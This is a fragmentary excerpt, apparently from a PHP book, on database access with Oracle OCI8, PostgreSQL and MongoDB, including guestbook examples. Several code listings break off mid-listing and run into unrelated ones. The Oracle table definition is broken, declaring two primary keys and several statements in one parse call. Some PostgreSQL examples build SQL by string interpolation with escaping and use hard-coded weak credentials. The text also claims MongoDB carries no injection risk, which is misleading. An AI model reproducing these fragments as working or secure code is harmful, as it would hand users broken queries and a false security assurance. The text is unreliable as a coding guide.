$sql = "INSERT INTO my_table (field) VALUES ('value2')";
$command = oci_parse($db, $sql);
if (oci_execute($command, OCI_DEFAULT)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
if (oci_commit($db)) {
echo "Data transmitted.";
} else {
echo "Error!";
}
oci_close($db);
} else {
echo "Error!";
}
?>
Oracle also supports parameterized queries, a specialty of the OCI8 extension of PHP
(the old Oracle library of PHP could not yet do this). To do this, you specify named
placeholders in the SQL command, which must begin with a colon:
With the oci_bind_by_name() function, you can now bind values to these placehold-
ers—first the name of the placeholder, then the value:
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "INSERT INTO my_table (field) VALUES (:value)";
$command = oci_parse($db, $sql);
oci_bind_by_name($command, ":value", "value3");
if (oci_execute($command)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
oci_close($db);
} else {
echo "Error!";
}
?>
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT * FROM my_table";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
echo "<ul>";
while (oci_fetch($command)) {
echo "<li>" . htmlspecialchars(oci_result($command, "id")) .
": " . htmlspecialchars(oci_result($command, "field")) . "</li>";
3 Or the number of the column; the count starts at 1. This is important for aggregate functions such
as COUNT(), for example, as otherwise you would have to work with an alias (SELECT COUNT(*) AS num-
ber FROM table).
}
echo "</ul>";
}
oci_close($db);
} else {
echo "Error!";
}
?>
However, this creates a separate (performance-wise) expensive function call for each
field. It is better to get back the complete current line of the result list directly. With
oci_fetch_assoc(), this is done in the form of an associative array.
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT * FROM my_table";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
echo "<ul>";
while ($row = oci_fetch_assoc($command)) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>";
}
echo "</ul>";
}
oci_close($db);
} else {
echo "Error!";
}
?>
The oci_fetch_object() function in turn returns the row as an object with the column
names as object properties.
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT * FROM my_table";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
echo "<ul>";
while ($row = oci_fetch_object($command)) {
echo "<li>" . htmlspecialchars($row->id) .
": " . htmlspecialchars($row->field) . "</li>";
}
echo "</ul>";
}
oci_close($db);
} else {
echo "Error!";
}
?>
Last but not least, there is the option of reading in the complete result list at once,
although this is only recommended for relatively small return quantities. The corre-
sponding function is called oci_fetch_all() and expects five parameters:
1. The command object created by oci_parse()
2. An array in which the data is returned
3. How many lines should be skipped (0 means use all lines)
4. The maximum number of lines to be returned (-1 means return all rows)
5. The type of return value—for example, OCI_NUM (array with numeric index) or OCI_
ASSOC (associative array)
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT * FROM my_table";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
oci_fetch_all($command, $all, 0, -1, OCI_ASSOC);
echo "<ul>";
foreach ($all as $row) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
}
oci_close($db);
} else {
echo "Error!";
}
?>
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql1 = "INSERT INTO my_table (field) VALUES (:value)";
$command1 = oci_parse($db, $sql1);
oci_bind_by_name($command1, ":value", "value4");
if (oci_execute($command1, OCI_DEFAULT)) {
$sql2 = "SELECT my_table_id.CURRVAL AS id FROM DUAL";
$command2 = oci_parse($db, $sql2);
if (oci_execute($command2, OCI_DEFAULT)) {
oci_fetch($command2);
$id = oci_result($command2, "id");
} else {
$id = "??";
echo "Error!";
}
echo "Data entered with ID $id.";
} else {
echo "Error!";
}
oci_commit($db);
oci_close($db);
} else {
echo "Error!";
}
?>
In Listing 22.9, you can see code that saves itself to the database; the data field in the
table is of type LOB.
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$lob = oci_new_descriptor($db, OCI_D_LOB);
$sql = "INSERT INTO my_table (field, data) VALUES
('LOB', EMPTY_BLOB())
RETURNING data INTO :lobdata";
$command = oci_parse($db, $sql);
oci_bind_by_name($command, ":lobdata", $lob, -1, OCI_B_BLOB);
if (oci_execute($command, OCI_DEFAULT) &&
$lob->save(file_get_contents("oci-lob-store.php")) &&
oci_execute($command, OCI_COMMIT_ON_SUCCESS)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
oci_close($db);
} else {
echo "Error!";
}
?>
Note
Note that you have to call oci_execute() twice: once to create the LOB, and the second
time after transferring the data using $lob->save().
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT data FROM my_table WHERE field = 'LOB'";
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "CREATE TABLE guestbook (
id NUMBER(10) PRIMARY KEY,
heading VARCHAR2(1000),
entry VARCHAR2(5000),
author VARCHAR2(50),
email VARCHAR2(100),
date NUMBER(20) PRIMARY KEY
);
CREATE SEQUENCE guestbook_id;
CREATE TRIGGER guestbook_autoincrement BEFORE INSERT ON guestbook
REFERENCING NEW AS NEW OLD AS OLD FOR EACH ROW BEGIN
SELECT guestbook_id.NEXTVAL INTO :NEW.id FROM DUAL;
END;";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
oci_close($db);
} else {
echo "Error!";
}
?>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "INSERT INTO guestbook
(heading,
entry,
author,
email,
date)
VALUES (:heading, :comment, :name, :email, :date)";
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$command = oci_parse($db, $sql);
if (oci_execute($command)) {
while ($row = oci_fetch_object($command)) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row->email),
htmlspecialchars($row->author),
htmlspecialchars(date("Y-m-d, H:i", intval($row->date))),
htmlspecialchars($row->heading),
nl2br(htmlspecialchars($row->entry))
);
}
}
oci_close($db);
} else {
echo "Error!";
}
?>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
}
?>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
if ($db = oci_connect("user", "password", "orcl")) {
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = "UPDATE guestbook SET
heading = :heading,
entry = :comment,
author = :name,
email = :Email
WHERE id=:id";
$command = oci_parse($db, $sql);
oci_bind_by_name($command, ":Heading", $_POST["Heading"]);
oci_bind_by_name($command, ":Comment", $_POST["Comment"]);
oci_bind_by_name($command, ":Name", $_POST["Name"]);
oci_bind_by_name($command, ":Email", $_POST["Email"]);
oci_bind_by_name($command, ":id", intval($_GET["id"]));
if (oci_execute($command)) {
23.1 Preparations
At the beginning, there is always the installation. Binary versions for various operat-
ing systems are available directly on the PostgreSQL website at www.postgresql.org/
download. This makes installation a breeze (this was not always the case in the past).
Don't be surprised that the graphical installation programs are obtained from https://
enterprisedb.com—that's quite right. Download the installation file and click through
the installation. When specifying the data directory for PostgreSQL in particular, make
sure that the database has write permissions for it. For the Windows program directory
(see the default value from Figure 23.1), this is not automatically the case.
For Unix/Linux, there are either preconfigured packages or the distribution is already
equipped with the database anyway. If you want to set up the software manually, the
installation process is the same as usual. That is, unpack the download archive and then
carry out the magic three steps (the last one, make install, with root rights, of course):
./configure
make
make install
Then it's time for the configuration. First create a user, just as the Windows installer has
done:
adduser postgres
Now create a subdirectory called data in the PostgreSQL directory that belongs to the
postgres user:
cd /usr/local/pgsql
mkdir data
chown postgres data
Then log in as user postgres and initialize PostgreSQL with the following command:
/usr/local/pgsql/bin/initdb -D /usr/local/pgsql/data
Once this has worked, you can start the postmaster program, the actual PostgreSQL dae-
mon. This is done as follows:
Note
The last step is to create a database that will be used in the code. If you are using Unix/
Linux or macOS, create the database as follows:
createdb PHP
Windows users have an additional option: In the PostgreSQL program group, there is a
pgAdmin 4 entry. pgAdmin 4 is a powerful, graphical, web-based administration tool
for PostgreSQL. (It is also well-suited for checking the results of PHP programming.)
You can also use it to create the PHP database. This method is also available to users of
other operating systems. You can obtain pgAdmin at www.pgadmin.org.
Tip
There is another web-based administration program for PostgreSQL databases: php-
PgAdmin, originally available at http://s-prs.co/v602233. The project was dormant for a
few years, but there is now an updated version (under new management) on GitHub.
You can find it there at http://s-prs.co/v602234. However, you may be better off with
the much more actively maintained pgAdmin 4 (see Figure 23.2).
We do everything else directly in the PHP code. Speaking of PHP, it must of course also
be informed that PostgreSQL is to be supported. In Windows, this is done with a simple
entry in the php.ini file:
extension=pgsql
You therefore specify the server, the port, the name of the database, and the user data.1
The server and the port are as specified by default and can therefore be omitted under
certain circumstances. The pg_connect() function returns a connection handle or false
if something did not work. With pg_close(), you close the connection again.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
echo "Connection established successfully.";
pg_close($db);
} else {
echo "Error!";
}
?>
Note
If you call pg_connect() twice with the same connection string, no new connection is
opened, but the previous one is used again (and returned).
23.2.2 Queries
With pg_query(), you send n SQL command to the database. This is an excellent way to
create the test table in the database. The only special feature is (once again) the
autovalue, which is realized in PostgreSQL with the special data type SERIAL. If some-
thing does not work, the pg_last_error() function returns the text of the last error that
occurred. However, this does not work if an error has occurred with pg_connect(); it is
only practical in this example for calls to pg_query().
1 You must of course enter the data that your database uses; our password does not meet any secu-
rity standards, and you should not actually use the postgres user directly but should create an
application-specific user instead.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "CREATE TABLE my_table (
id SERIAL PRIMARY KEY,
field VARCHAR(255)
)";
if (pg_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error: " . pg_last_error() . "!";
}
$sql = "INSERT INTO my_table (field) VALUES ('value1')";
if (pg_query($db, $sql)) {
echo "Data entered.<br />";
} else {
echo "Error: " . pg_last_error() . "!";
}
$sql = "INSERT INTO my_table (field) VALUES ('value2')";
if (pg_query($db, $sql)) {
echo "Data entered.";
} else {
echo "Error: " . pg_last_error() . "!";
}
pg_close($db);
} else {
echo "Error!";
}
?>
Tip
PHP's PostgreSQL module also supports a special helper function that frees values from
dangerous SQL special characters or escapes them correctly. You should use this func-
tion, pg_escape_string(), for all dynamic data before using it in SQL commands.
Take a look at the table using pgAdmin, for example. You will see that a sequence has
been created automatically (see Figure 23.5), as you may be familiar with from Oracle
(see also Chapter 22). This sequence is incremented by 1 each time it is inserted into the
table; the id field of the new table entry then automatically contains the current value
from the sequence. This "crutch" is used to implement an autovalue.
ports OIDs in order to be able to reproduce all the examples in the chapter, or add WITH
OIDS to the CREATE TABLE query.
OIDs also fulfill another purpose; namely, they can also refer to objects within the
databases. You can also find information on this in Section 23.2.4, with an example.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "SELECT * FROM my_table";
if ($result = pg_query($db, $sql)) {
echo "<ul>";
while ($row = pg_fetch_assoc($result)) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>";
}
echo "</ul>";
}
pg_close($db);
} else {
echo "Error!";
}
?>
The counterpart to this is pg_fetch_object(), which returns the result row as an object
with the column names as properties.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "SELECT * FROM my_table";
if ($result = pg_query($db, $sql)) {
echo "<ul>";
while ($row = pg_fetch_object($result)) {
Alternatively, you can also use numerical access as pg_fetch_row() returns a numeric
array with all row data. As with all arrays, the numbering starts with 0. This is practical
for SQL functions such as SUM() or COUNT() because you do not have a column name
there unless you use an alias.
Very practical, but not exactly economical in terms of resources, is pg_fetch_all(),
which—as its name suggests—returns the complete result list. A call of var_dump() on
the result of the "SELECT *" query for the example returns the following result:
array(2) {
[0]=>
array(2) {
["id"]=>
string(1) "1"
["field"]=>
string(5) "value1"
}
[1]=>
array(2) {
["id"]=>
string(1) "2"
["field"]=>
string(5) "value2"
}
}
It is therefore an array of arrays that you can output in table form or as a list using
foreach.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "SELECT * FROM my_table";
We show the second option. Conveniently, the pg_last_oid() function returns the oid
value of the last query (the return value of pg_query() is passed as a parameter). The fol-
lowing code example inserts a value into the test table and determines the correspond-
ing ID.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "INSERT INTO my_table (field) VALUES ('value3')";
if ($result = pg_query($db, $sql)) {
$oid = pg_last_oid($result);
$result = pg_query($db,
"SELECT id FROM my_table WHERE oid=$oid");
$row = pg_fetch_row($result);
$id = $row[0];
echo "Entry with ID $id added.";
} else {
echo "Error: " . pg_last_error() . "!";
}
pg_close($db);
} else {
echo "Error!";
}
?>
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$data = ["field" => "value4"];
if (pg_insert($db, "my_table", $data)) {
echo "Data entered.";
} else {
echo "Error: " . pg_last_error() . "!";
}
} else {
echo "Error!";
}
?>
But that's not all. It is also possible to update data. The WHERE condition is also specified
as an array. The array contains the field names as keys and the values as a condition
that must be fulfilled (so only equality is possible). The following example renames the
"Value3" entry to "Value4".
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$data = ["field" => "value4"];
$condition = ["field" => "value3"];
if (pg_update($db, "my_table", $data, $condition)) {
If UPDATE works, then SELECT will also work. You also specify the condition as an array
here. There are now two entries that have the "value4" value in the field column. This is
also confirmed by the output of the following listing, which you can see in Figure 23.6.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$condition = ["field" => "value4"];
if ($data = pg_select($db, "my_table", $condition)) {
echo "<table><tr><th>id</th><th>field</th></tr>";
foreach ($data as $row){
printf("<tr><td>%s</td><td>%s</td></tr>",
htmlspecialchars($row["id"]),
htmlspecialchars($row["field"]));
}
echo "</table>";
} else {
echo "Error: " . pg_last_error() . "!";
}
} else {
echo "Error!";
}
?>
Figure 23.6 There Are Two Data Sets That Fulfill the Condition
And, last but not least, the fourth important SQL statement: DELETE. The procedure is
the same: specify a condition in the form of an array and the associated data is deleted
from the table.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$condition = ["field" => "value4"];
if (pg_delete($db, "my_table", $condition)) {
echo "Data deleted.";
} else {
echo "Error: " . pg_last_error() . "!";
}
} else {
echo "Error!";
}
?>
Note
You must execute the whole thing within a transaction—that is, with BEGIN and COM-
MIT. However, the latter is optional because a COMMIT is automatically executed at the
end of the PHP script.
The following complete listing creates and fills the required table.
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$data = file_get_contents(__FILE__);
pg_query ($db, "CREATE TABLE files (
obj_id oid,
name VARCHAR(255)
)");
pg_query ($db, "BEGIN");
$oid = pg_lo_create($db);
$file = pg_escape_string(__FILE__);
$result = pg_query($db,
"INSERT INTO files (obj_id, name) VALUES ($oid, '$file')");
$lo = pg_lo_open($db, $oid, "w");
pg_lo_write($lo, $data);
pg_lo_close($lo);
pg_query($db, "COMMIT");
pg_close($db);
echo "File inserted.";
} else {
echo "Error!";
}
?>
A look at an administration tool such as pgAdmin shows that OIDs have actually been
entered in the obj_id column (see Figure 23.7). Each table element also has an OID,
which is (of course) a different one, but which is not explicitly displayed in current ver-
sions of pgAdmin 4.
A few steps are required to read out the data (see Figure 23.8):
1. Read the/an OID from the table.
2. Open the lo with pg_lo_open(). The file mode is now "r" for reading.
3. Read the file content with pg_lo_read()or return it directly to the web browser in full
with pg_lo_read_all().
4. Close the lo with pg_lo_close().
5. Close the connection to the database with pg_close().
The following corresponding listing reads and outputs the file that has just been
inserted.
<xmp>
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
pg_query($db, "BEGIN");
$result = pg_exec($db,
"SELECT obj_id FROM files WHERE name LIKE
'%pgsql-lo-write.php%'");
$row = pg_fetch_assoc($result);
$lo = pg_lo_open($db, $row["obj_id"], "r");
pg_lo_read_all($lo);
pg_lo_close($lo);
pg_query($db, "COMMIT");
pg_close($db);
} else {
echo "Error!";
}
?>
</xmp>
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "CREATE TABLE guestbook (
id SERIAL PRIMARY KEY,
heading VARCHAR(1000),
entry VARCHAR(8000),
author VARCHAR(50),
email VARCHAR(100),
date TIMESTAMP
)";
if (pg_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error: " . pg_last_error() . "!";
}
pg_close($db);
} else {
echo "Error!";
}
?>
The reason: PostgreSQL uses Unicode, so you must also ensure that Unicode is received
by the database. If you set the php.ini default_charset setting to "UTF-8", this should
help. Otherwise, simply process all form entries with utf8_encode() (and of course with
pg_escape_string()) before sending them to the database. Then the insertion will also
work. In the following listings, we do the UTF-8 encoding by hand so that you can see
this approach. If it doesn't seem to work for you, remove these calls and set the default
character set instead.
Another special feature is the determination of the autovalue of the last inserted ele-
ment. As we already mentioned in Section 23.2.4, you can use pg_last_oid() to deter-
mine the value of the oid column. You then start another SELECT query to get the value
in the id column:
$oid = pg_last_oid($result);
$result = pg_query($db, "
SELECT id FROM guestbook WHERE oid=$oid");
$row = pg_fetch_row($result);
$id = $row[0];
For the reasons mentioned previously, you will need the id column later for editing;
the value in oid is not sufficient. In the following complete listing, the special features
are highlighted in bold.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
if ($db = pg_connect("host=localhost port=5432
dbname=PHP user=postgres password=pwd.")) {
$sql = vsprintf("INSERT INTO guestbook
(heading,
entry,
author,
email,
date)
VALUES ('%s', '%s', '%s', '%s', '%s')",
[
pg_escape_string(utf8_encode($_POST["Heading"])),
pg_escape_string(utf8_encode($_POST["Comment"])),
pg_escape_string(utf8_encode($_POST["Name"])),
pg_escape_string(utf8_encode($_POST["Email"])),
date("Y-m-d H:i")
]
);
if ($result = pg_query($db, $sql)) {
$oid = pg_last_oid($result);
$result = pg_query($db,
"SELECT id FROM guestbook WHERE oid=$oid");
$row = pg_fetch_row($result);
$id = $row[0];
echo "Entry added.
<a href=\"gb-edit.php?id=$id\">Edit</a>";
} else {
echo "Error: " . pg_last_error() . "!";
}
pg_close($db);
} else {
echo "Error!";
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" /><br />
Email address <input type="text" name="Email" /><br />
Heading <input type="text" name="Heading" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"></textarea><br />
<input type="submit" name="Submit" value="Submit" />
</form>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = pg_query($db, $sql);
while ($line = pg_fetch_object($result)) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode(utf8_decode($line->email)),
htmlspecialchars(utf8_decode($line->author)),
htmlspecialchars(utf8_decode($line->date)),
htmlspecialchars(utf8_decode($line->heading)),
nl2br(htmlspecialchars(utf8_decode($line->entry)))
);
}
pg_close($db);
} else {
echo "Error!";
}
?>
</body>
</html>
If you forget utf8_decode(), then special characters may not be displayed correctly.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_GET["id"]) && is_numeric($_GET["id"])) {
if (isset($_GET["ok"])) {
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$id = pg_escape_string($_GET["id"]);
$sql = "DELETE FROM guestbook WHERE id=$id";
if (pg_query($db, $sql)) {
echo "<p>Entry deleted.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a></p>";
} else {
echo "Error: " . pg_last_error() . "!";
}
pg_close($db);
} else {
echo "Error!";
}
} else {
printf("<a href=\"gb-admin.php?id=%s&ok=1\">Really delete?</a>",
urlencode($_GET["id"]));
}
} else {
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = pg_query($db, $sql);
while ($row = pg_fetch_object($result)) {
printf("<p><b><a href=\"gb-admin.php?id=%s\">Delete this entry</a>
- <a href=\"gb-edit.php?id=%s\"> Edit this entry</a></b></p>
<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row->id),
urlencode($row->id),
htmlspecialchars(utf8_decode($row->email)),
htmlspecialchars(utf8_decode($row->author)),
htmlspecialchars(utf8_decode($row->date)),
htmlspecialchars(utf8_decode($row->heading)),
nl2br(htmlspecialchars(utf8_decode($row->entry)))
);
}
pg_close($db);
} else {
echo "Error!";
}
}
?>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
if ($db = pg_connect("host=localhost port=5432 dbname=PHP user=postgres
password=pwd.")) {
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = vsprintf(
"UPDATE guestbook SET
heading = '%s',
entry = '%s',
author = '%s',
email = '%s'
WHERE id=%s",
[
pg_escape_string(utf8_encode($_POST["Heading"])),
pg_escape_string(utf8_encode($_POST["Comment"])),
pg_escape_string(utf8_encode($_POST["Name"])),
pg_escape_string(utf8_encode($_POST["Email"])),
pg_escape_string($_GET["id"])
]
);
if (pg_query($db, $sql)) {
echo "<p>Entry changed.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a></p>";
} else {
echo "Error: " . pg_last_error() . "!";
}
}
$sql = sprintf("SELECT * FROM guestbook WHERE id=%s",
pg_escape_string($_GET["id"]));
23.4 Settings
The php.ini configuration file contains the setting options listed in Table 23.1.
Relational databases based on tables and with SQL as the query language have been the
industry standard for decades. For some years now, however, there have been modern
alternatives that rely on a different model, commonly referred to as NoSQL (nomen est
omen). Instead of information in relations and tables, data records are stored—usually
in a variation of the JSON format, but in principle as name-value pairs. Depending on
the type of application, this may be an alternative. Due to the dynamic nature of a
NoSQL database, the integration of data may be easier to manage than with a classic
database such as MySQL and the like.
We could discuss the pros and cons endlessly at this point—but of course that is not the
subject of this book. We could just as easily debate whether dynamic languages such as
PHP are superior or inferior to more strictly typed alternatives such as Java or C#.
Instead, we take a look at the currently best-known representative of NoSQL databases
and present the usual features, analogous to the previous database chapters.
24.1 Preparations
The database in question is MongoDB. It was originally developed by the 10gen com-
pany. Due to its great success, the company changed its name to MongoDB Inc. The
database itself is open source, is available on various platforms, and good PHP support
is guaranteed. Derick Rethans, author of the DateTime extension for PHP, among other
things, was temporarily employed by MongoDB Inc. to take care of the PHP connection
to MongoDB.
To access MongoDB from PHP, you must first install the database. The homepage of
MongoDB Inc., www.mongodb.com, contains everything you need, both ready-to-use
packages and binaries for various systems. Figure 24.1 shows the installer for Windows,
for example. Don't be misled by the reference to the cloud-hosted version: Select the
MongoDB Community Server for download (if you are asked for the deployment type,
chose On-Premise).
An important installation step is to specify the user under which MongoDB runs and
the directory in which the databases are stored (see Figure 24.2). The installer grants the
selected user write access to this folder, which is why you should carefully consider
whether you really want to use the program directory for this purpose.
Tip
The MongoDB Compass management software can also be installed as part of the
installation, and it provides a useful graphical user interface for the MongoDB data-
bases. However, you can also download it later from http://s-prs.co/v602235.
After installation, there are some executable files in the target directory (under Win-
dows, these are .exe files; otherwise, they have no extension):
쐍 mongod
The database service, and thus the most important component
쐍 mongo
Interactive shell for managing and operating the database
쐍 mongodump
Used to create a database dump (backup)
쐍 mongorestore
Used to restore a dump
쐍 mongoexport
Used to export database data (e.g., in JSON format)
쐍 mongoimport
Used to import database data (e.g., in JSON format)
쐍 mongostat
Provides status information about a MongoDB instance
쐍 mongotop
Provides status information on individual MongoDB data stores
You must therefore start the mongod MongoDB daemon, unless you have chosen to
install a service for MongoDB during installation. In this case, it is more convenient to
use the service management of the operating system (see Figure 24.3).
Regarding a PHP extension for MongoDB, you have to be careful: The one called mongo
is the old one (and not compatible with PHP 7 and higher). MongoDB itself has an offi-
cial extension that allows PHP to communicate with a MongoDB server, in principle.
However, it is more convenient to use a PHP library that is based on the PHP extension.
But first things first: Although there is even information about MongoDB in the PHP
online manual (http://php.net/mongodb), the database extension for MongoDB is not
part of the standard distribution. The extension is located in PECL. The corresponding
page is https://pecl.php.net/package/mongodb, but the actual homepage of the pack-
age can be found at https://www.mongodb.com/docs/drivers/php. At the latter, you will
also find a link to the source code hosted on GitHub1 and more detailed information.
You can obtain the extension directly if you work with Unix/Linux or macOS:
1 See http://s-prs.co/v602237
extension=php_mongodb.dll
extension=mongodb
At the end, the output of phpinfo() contains an entry from MongoDB (see Figure 24.4).
Note
When new PHP versions are released, the MongoDB extension sometimes lags behind,
which can be recognized by an error message in the console according to the following
pattern:
Warning: PHP Startup: mongodb: Unable to initialize module
Module compiled with module API=20210902
PHP compiled with module API=20230831
In such a case, only patience will help.
This completes the preparations and we now can access the database from PHP. The
extension that has just been installed only provides rudimentary functionalities. It is
much more convenient to use the MongoDB PHP Library (also maintained by Mon-
goDB Inc.). The source code can be found at http://s-prs.co/v602238, and detailed docu-
mentation is available at http://s-prs.co/v602239.
The MongoDB PHP library is installed using Composer, which we present in more detail
in Chapter 38. If you have not yet used Composer, skip ahead if necessary. The Mon-
goDB PHP library is installed in the current directory with the following command:
You will end up with a subfolder called vendor in the current directory and a file called
autoload.php. If you include this via require, the MongoDB PHP library will be loaded
automatically—as the file name suggests. The MongoDB PHP library is not included in
the code examples in this chapter (as there could be a newer version at any time), but it
is a prerequisite.
Note
When trying to install the MongoDB PHP library, you may receive an error message
similar to the one shown in Figure 24.5. One possible cause is that Composer is looking
for the old MongoDB extension and ignoring the fact that the new one is installed cor-
rectly. The following command tells Composer that a specific version of the extension
is available. The installation should then go through. In the following code, replace
1.9.0 with the actual version number of the MongoDB extension you are using:
composer config "platform.ext-mongo" "1.9.0"
Now all the preparations are finally complete—so let's get started with the actual pro-
gramming!
Database Database
Table Collection
We therefore first need a database in which we create a collection into which docu-
ments (or objects) are then inserted.
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP;
echo "Database created.<br />";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Note
The constructor accepts three parameters, all of which are optional:
1. The server—default value "mongodb://localhost:27017"
2. Options for establishing a connection, such as authentication information
3. Options for the database extension; certificate information for SSL/TLS
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP;
$db->createCollection("my_table");
echo "Table created.<br />";
24.2.2 Insert
As already explained, MongoDB "thinks" in documents. Such documents are essen-
tially objects with primitive properties—such as JSON in the JavaScript environment or
an enriched StdClass in PHP (but in the latter case, remember that since PHP 8.2,
dynamically adding class properties to StdClass is deprecated). Essentially, you create
an associative, possibly nested array and insert that. With regard to a schema, you are
therefore not bound or must ensure yourself that the data is structured consistently
enough to enable a search.
Entering data is very simple; the collection offers the insertOne() method for this pur-
pose. The data is transferred by reference.
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->my_table;
$data = [
"name1" => "value1",
"name2" => "value2"
];
$result = $db->insertOne($data);
echo "Data entered.<br />";
echo "<pre>" . print_r($result, true). "</pre>";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
It becomes interesting if you look at the return value of insertOne(). As Figure 24.6
shows, you will receive a unique object ID oid of the type MongoDB\BSON\ObjectId.
This is similar to an autovalue in MySQL and other databases, but in this case it is a lon-
ger GUID and not a simple number. Later in this chapter, we will be able to access indi-
vidual data records directly via this.
Note
There is therefore no query language such as SQL to insert data. In this respect, you do
not have to escape any special characters to avoid SQL injection, for example; this
problem does not exist with MongoDB. Special characters are only used for special cri-
teria when selecting, updating, or deleting data. There is no risk of dangerous com-
mands being injected, as shown in Chapter 32, for example.
over using foreach. If these documents then have a uniform schema, the output is also
simplified (see Figure 24.7).
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->my_table;
$result = $db->find();
